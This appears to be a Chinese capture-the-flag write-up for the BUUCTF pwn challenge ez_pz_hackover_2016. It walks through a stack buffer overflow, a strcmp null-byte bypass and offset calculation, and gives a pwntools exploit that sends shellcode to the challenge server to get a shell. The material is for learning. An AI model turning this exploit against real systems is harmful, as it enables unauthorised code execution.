BUUCTF刷题之路--ez_pz_hackover_20161

2023-10-11 01:59

本文主要是介绍BUUCTF刷题之路--ez_pz_hackover_20161,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

检查开启的保护:

32位程序,没有开启保护。看到这大概率猜到是可以利用shellcode。接着IDA查看下逻辑:
主函数:

 header函数:

 chall函数:

 大致讲解下程序逻辑。首先会要求你输入一个名字。存入s这个缓冲区中。接着会输出你的名字。

 我们看到缓冲区的大小有0X40c也就是1036个字节,但是允许输入的只有1023个字节。因此在这里我们无法溢出。接着往下看。有一个vuln函数:

允许我们向缓冲区存入0x400个字节,而缓冲区大小仅有0x32字节。因此这个函数里是存在栈溢出漏洞的,我们需要执行这个函数。想要执行这个函数先要绕过if(!result)语句的判断。strcmp是比较字符串的函数,当他遇到/0的时候会发生截断,因此我们构造一个crashme/x00就能进入vuln函数。在vuln函数里,会把s缓冲区里的数据复制到dest缓冲区中。因此我们需要在一开始的输入就构造好我们的shellcode,和shellcode的地址。我在做这题的时候有很多疑问。根据IDA的提示,s数组应该在ebp的上面0x40c个字节处,而dest应该在ebp上面的0x32字节处.但是当我进行输入调试的时候发现ebp在我输入缓冲区的上面。

我不明白为什么(后来补充的:我好像明白为什么了,因为s缓冲区是在chall函数里面的局部变量,是先开辟栈空间的,再后来执行vuln函数,会开辟新的栈空间,在s缓冲区的上面,因此图示可以是这样的)(保留我自己的疑问,哈哈):

我们在vuln快执行完的地方下个断点看看栈的布局:

调试的代码:

from pwn import *
p=process('./ez_pz_hackover_2016')
context.log_level='debug'gdb.attach(p,'b *0x8048600')p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收s在栈上的地址
print hex(stack)payload='crashme\x00'+'aaaaaa'#crashme\x00绕过if判断      
p.sendline(payload)pause()

 

按照这样的布局,我们就需要把这个ebp+4的位置给覆盖成我们shellcode的地址。那么我们算一下需要多少字节能覆盖到:

ebp的偏移看到是0x38,我们输入的位置是0x22 ,因为63是c,72是r,0000不是我们输入的。小端字节序倒着读。(0x38-0x22)=0x16,得再加4,才能到返回地址。因此这个偏移大概是0x16+4.

因此构造的样子需要是这样的:

payload='crashme\x00'+'a'*(0x16-8+4)+p32(addr) //-8是因为crashme\x00占用了

程序运行的开始会给我们输出一个s的栈地址。我们在布局中看一下:

这就是我一直疑惑的点(后来不疑惑了)。它在ebp的下面。将计就计,既然我们只有一次输入机会,那么我们构造完返回地址后,肯定跟的是我们的shellcode。因此我们直接把地址返回给ebp+8的位置。这个偏移我们怎么得到呢,直接0xffffc2f9c-0xfffc2f80=1c。这样我们的大功就告成了。很多细节我还是不是很懂啊。以后想到了再补充。最后我们的exp如下:

# -*- coding: utf-8 -*-
from pwn import *r=remote('node4.buuoj.cn','29896')
r.recvuntil('crash: ')
stack_addr=int(r.recv(10),16)
shellcode=asm(shellcraft.sh())#自动生成shellcodepayload='crashme\x00'+'a'*(0x16-8+4)+p32(stack_addr-0x1c)+shellcode
r.sendline(payload)r.interactive()

得到flag: 

tiaostiao's

这篇关于BUUCTF刷题之路--ez_pz_hackover_20161的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/184725

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

BUUCTF(34)特殊的 BASE64

使用pycharm时,如果想把代码撤销到之前的状态可以用 Ctrl+z 如果不小心撤销多了,可以用 Ctrl+Shift+Z 还原, 别傻傻的重新敲了 BUUCTF在线评测 (buuoj.cn) 查看字符串,想到base64的变表 这里用的c++的标准程序库中的string,头文件是#include<string> 这是base64的加密函数 std::string

【每日刷题】Day113

【每日刷题】Day113 🥕个人主页:开敲🍉 🔥所属专栏:每日刷题🍍 🌼文章目录🌼 1. 91. 解码方法 - 力扣(LeetCode) 2. LCR 098. 不同路径 - 力扣(LeetCode) 3. 63. 不同路径 II - 力扣(LeetCode) 1. 91. 解码方法 - 力扣(LeetCode) //思路:动态规划。 cl

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

hot100刷题第1-9题,三个专题哈希,双指针,滑动窗口

求满足条件的子数组,一般是前缀和、滑动窗口,经常结合哈希表; 区间操作元素,一般是前缀和、差分数组 数组有序,更大概率会用到二分搜索 目前已经掌握一些基本套路,重零刷起leetcode hot 100, 套路题按套路来,非套路题适当参考gpt解法。 一、梦开始的地方, 两数之和 class Solution:#注意要返回的是数组下标def twoSum(self, nums: Lis

代码随想录刷题day25丨491.递增子序列 ,46.全排列 ,47.全排列 II

代码随想录刷题day25丨491.递增子序列 ,46.全排列 ,47.全排列 II 1.题目 1.1递增子序列 题目链接:491. 非递减子序列 - 力扣(LeetCode) 视频讲解:回溯算法精讲,树层去重与树枝去重 | LeetCode:491.递增子序列_哔哩哔哩_bilibili 文档讲解:https://programmercarl.com/0491.%E9%80%92%E

代码随想录刷题day24丨93.复原IP地址 ,78.子集 , 90.子集II

代码随想录刷题day24丨93.复原IP地址 ,78.子集 , 90.子集II 1.题目 1.1复原IP地址 题目链接:93. 复原 IP 地址 - 力扣(LeetCode) 视频讲解:回溯算法如何分割字符串并判断是合法IP?| LeetCode:93.复原IP地址_哔哩哔哩_bilibili 文档讲解:https://programmercarl.com/0093.%E5%A4%8

【笔记】数据结构刷题09

快速排序 215. 数组中的第K个最大元素 class Solution {public:int findKthLargest(vector<int>& nums, int k) {return divide(nums,0,nums.size()-1,nums.size()-k);}int divide(vector<int>& nums,int left,int right,int k)

C语言:刷题日志(1)

一.阶乘计算升级版 本题要求实现一个打印非负整数阶乘的函数。 其中n是用户传入的参数,其值不超过1000。如果n是非负整数,则该函数必须在一行中打印出n!的值,否则打印“Invalid input”。 首先,知道阶乘是所有小于及等于该数的正整数的积,并且0的阶乘为1。那么我们先来个简单的阶乘计算吧。 #include<stdio.h>int Fact(int n){if (n <=

Xiaojie雷达之路---雷达间干扰(二)置零法对干扰抑制

Hello,大家好,我是Xiaojie,欢迎大家能够和Xiaojie来一起学习毫米波雷达知识,本篇文章主要是介绍一下时域置零对雷达间干扰抑制的效果,一起来看看吧!!! 文章目录 前言正文原理性介绍代码 前言 在上一篇文章中介绍了BPM对雷达间干扰抑制的方法,而本篇文章是采用时域置零的方法进行雷达间干扰抑制 效果图: 视频如下: 雷达间干扰 正文